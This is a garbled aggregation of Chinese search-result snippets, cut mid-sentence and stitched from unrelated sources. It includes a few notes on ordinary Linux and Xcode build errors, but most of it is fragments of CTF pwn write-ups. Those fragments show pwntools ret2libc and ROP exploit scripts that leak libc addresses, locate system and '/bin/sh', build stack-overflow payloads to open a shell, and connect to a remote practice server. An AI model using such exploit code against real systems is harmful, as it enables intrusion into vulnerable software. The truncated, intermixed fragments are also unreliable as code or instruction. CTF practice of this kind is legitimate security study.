问题 在Windows环境下用Notepad++写了个shell脚本,上传到Linux平台后运行报错如下: 1 /bin/sh^M: bad interpreter: No such file or directory...这个问题是由于不同的操作系统使用了不同的符号来换行导致的,可以简单参考下下面的表格: 系统 换行符 DOS CR/LF UNIX LF MAC CR 如果通过Windows下的Git将文件提交到Linux
hive脚本如下(日表): #!/bin/bash # /*% ******************************************...
文章目录 一、报错信息 二、解决方案 一、报错信息 ---- 编译 Linux 内核 , 执行 make menuconfig 配置菜单命令 , 报如下错误 : root@ubuntu:~/kernel...HOSTCC scripts/kconfig/confdata.o HOSTCC scripts/kconfig/expr.o LEX scripts/kconfig/lexer.lex.c.../bin/sh: 1: flex: not found scripts/Makefile.host:9: recipe for target 'scripts/kconfig/lexer.lex.c'...failed make[1]: *** [scripts/kconfig/lexer.lex.c] Error 127 Makefile:568: recipe for target 'menuconfig...:~/kernel/linux-5.6.14#
文章目录 一、报错信息 二、解决方案 一、报错信息 ---- 编译 Linux 内核 , 执行 make menuconfig 配置菜单命令 , 报如下错误 : root@ubuntu:~/kernel.../linux-5.6.14# make menuconfig LEX scripts/kconfig/lexer.lex.c YACC scripts/kconfig/parser.tab...Makefile:568: recipe for target 'menuconfig' failed make: *** [menuconfig] Error 2 root@ubuntu:~/kernel/linux...-5.6.14# 二、解决方案 ---- 执行 sudo apt-get install bison 命令 , 安装 bison ; 安装过程如下 : root@ubuntu:~/kernel/linux...update-alternatives: using /usr/bin/bison.yacc to provide /usr/bin/yacc (yacc) in auto mode root@ubuntu:~/kernel/linux
/nx") libc = ELF("/lib/i386-linux-gnu/libc.so.6") puts_plt = elf.plt["puts"] main_addr = elf.symbols[...(r15) payload += p64(r14) payload += p64(r13) payload += p64(gadgets2) payload += "c".../ret2libc_64') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('../.....(r15) payload += p64(r14) payload += p64(r13) payload += p64(gadgets2) payload += "c"...\n") payload = offset payload+= p64(0x00000000004006c3)# pop_rdi_ret payload+= p64(offset_addr+libc.search
bashgcc -fno-stack-protector linux_x64_test1.c -o linux_x64_test1 -ldl //禁用栈保护 检测如下: gdb-peda$ checksec...bash gcc -fno-stack-protector linux_x64_test2.c -o linux_x64_test2 -ldl //禁用栈保护 检测如下: gdb-peda$ checksec...print("binsh_offset = 0x%x" % binsh_offset) binsh_addr = binsh_offset + systema_addr print("binsh_addr.../linux_x64_test2': pid 118889 binsh_static = 0x18cd57 binsh2_static = 0x18cd57 binsh_offset = 0x1479c7..._test3.c -o linux_x64_test3 -ldl //禁用栈保护 检查防护 gdb-peda$ checksec linux_x64_test3 CANARY : disabled
/stack1') #libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc = ELF('/home/ly0n/pwn/tools/libc6-i386_2.27...:" print hex(binsh_addr) max_payload += p32(system_addr) max_payload += p32(main_addr) max_payload.../pwn') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('/home/ly0n/pwn/tools/libc6_2.27-3ubuntu1..._amd64.so') pop_rdi = 0x00000000004006e3 ret_add = 0x00000000004004c6 puts_plt_addr =elf.plt['puts'...:" print hex(binsh_addr) payload += p64(ret_add) payload += p64(pop_rdi) payload += p64(binsh_addr)
/ciscn_2019_c_1") sh = remote("node3.buuoj.cn",26460) elf = ELF("..../ciscn_2019_c_1") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("..../babyrop") libc = ELF("/lib/i386-linux-gnu/libc.so.6") libc = ELF("..../ciscn_2019_en_2") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("..../tie3_2018_rop") libc = ELF("/lib/i386-linux-gnu/libc.so.6") libc = ELF("libc/libc6-i386_2.27-3ubuntu1
: 05 3f 2e 00 00 add eax,0x2e3f 11c6: c7 80 24 00 00 00 01 mov DWORD PTR [eax+0x24]...ret2libc_32") #libc = ELF('/home/ly0n/pwn/tools/libc6-i386_2.23-0ubuntu10_amd64.so') libc = ELF('/lib/i386-linux-gnu...:" print hex(binsh_addr) max_payload += p32(system_addr) max_payload += p32(0) max_payload += p32(binsh_addr.../ez_ret2libc') libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = ELF('/home/ly0n/pwn/tools/libc6-i386...:" print hex(binsh_addr) max_payload += p32(system_addr) max_payload += p32(0) max_payload += p32(binsh_addr
/configure \ --disable-podpages \ --prefix=`pwd`/_install/arm \ --cross-prefix=arm-linux-gnueabi- ..
dir=p&c=>tar?dir=p&c=>vcf?dir=p&c=>x?...= 0x15900bprintf_off = 0x49020# elf = ELF('/lib/i386-linux-gnu/libc.so.6')# read_off = elf.symbols['...('system addr:'+hex(system_addr))payload = "A"*0x8c+p32(system_addr)+p32(vul_func)+p32(binsh_addr)p.recvuntil...elf.symbols['system']# binsh_off = elf.search('/bin/sh').next()payload = "A"*0x4c+p32(puts_plt)+p32(...('system addr:'+hex(system_addr))payload = "A"*0x4c+p32(system_addr)+p32(vul_func)+p32(binsh_addr)# gdb.attach
这里我们需要了解几个知识点: (1)system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的) (2)在linux的gcc使用C语言源文件的二进制文件时...rval_libc+libc.search("/bin/sh").next() 接下来我们就可以开始写python文件1.py了: from pwn import *context(arch="i386",os="linux...("sinxx",payload1)//sinxx输完之后再输入payloadsgets_real_addr=u32(p.recv(4))//将地址转换成32位libc=ELF("/lib/i386-linux-gnu...gets_real_addr-libc.symbols["gets"]//计算相对偏移addr_system=rva_libc+libc.symbols["system"]//system的真实地址addr_binsh...libc.search("/bin/sh").next()// '/bin/sh'的真实地址payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh
/stack") system = elf.sym["system"] binsh = elf.search("/bin/sh").next() payload = "a"*13 payload +=...p32(system)+p32(system)+p32(binsh) sh.recvuntil("\n") sh.sendline(payload) sh.interactive() Pwn3 这回程序内找不到...system和binsh了,想了一会,思考了一会,看到有puts函数,那干脆libc一把梭吧…..../stack1") #libc = ELF('/lib/i386-linux-gnu/libc.so.6') libc = ELF("....libc.sym['puts']) base_addr = puts_addr-libc_puts_addr system_addr = base_addr+int(libc.sym['system']) binsh_addr
[root@localhost cron]# crontab -l */10 * * * * perl /home/awstats/wwwroot/cgi-bi...
/ciscn_2019_c_1') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('/home/ly0n/pwn/tools/libc6...puts_addr-libc.sym['puts'] #system函数的真实地址 system_addr = base_addr+libc.sym['system'] #/bin/sh在libc文件内的地址 binsh_addr...bin/sh\x00').next() print "base:" print hex(base_addr) print "system:" print hex(system_addr) print "binsh...:" print hex(binsh_addr) payload = 'a' +'\x00' + 'b' * 86 #我自己写的时候没有写这个ret的地址,远程服务器版本问题需要填充ret保证栈平衡...payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload
/ciscn_2019_c_1可以查看文件拥有的gadget。.../ciscn_2019_c_1 --only "pop|ret" ROPgadget --binary ..../ciscn_2019_c_1 --only "ret" 构造泄露信息的payload: 当esp指向pop rdi;ret时,rip指向puts_got。...libc.dump('puts') # 计算出system的在程序中的地址 system_addr = libc_base + libc.dump('system') # 计算出binsh...= payload2 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) p.sendlineafter(
升级完xcode9.1之后,编译项目出现如下错误: CI今日构建时报出如下错误: /Users/xxx/Library/Developer/Xcode/Deri...
然后还有第二种情况,system栈地址空间不足,程序的可读可写地址空间是从0x804b000-0x804c000,总长度为0x1000,然后我修改的栈地址为0x804b100,所以system可用的栈空间只有...*- from pwn import * # context.log_level = "debug" context.terminal = ['terminator','-x','bash','-c'...gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf) add(p, rop1) add(p, "b"*255) add(p, "c"...= libc.search("/bin/sh").next() system_add = printf_got - printf_libc + system_libc binsh_add...rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add) p.sendline(rop2) p.interactive
64位linux下栈溢出漏洞利用 linux_64与linux_86的区别有:可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。.../vuln') poprdi=0x400633 system_addr=0x7ffff7a57590 exit=0x7ffff7a4d1e0 binsh_addr = system_addr - (libc.symbols...['system'] - next(libc.search('/bin/sh'))) print 'binsh_addr= ' + hex(binsh_addr) print "\n##########...###Get Shell#############\n" payload3 = "\x00"*136 payload3 += p64(poprdi)+p64(binsh_addr) payload3...+= p64(system_addr) payload3 += p64(exit) sleep(1) p.send(payload3) p.interactive() ``` 还可以简化exp,在找到binsh_addr
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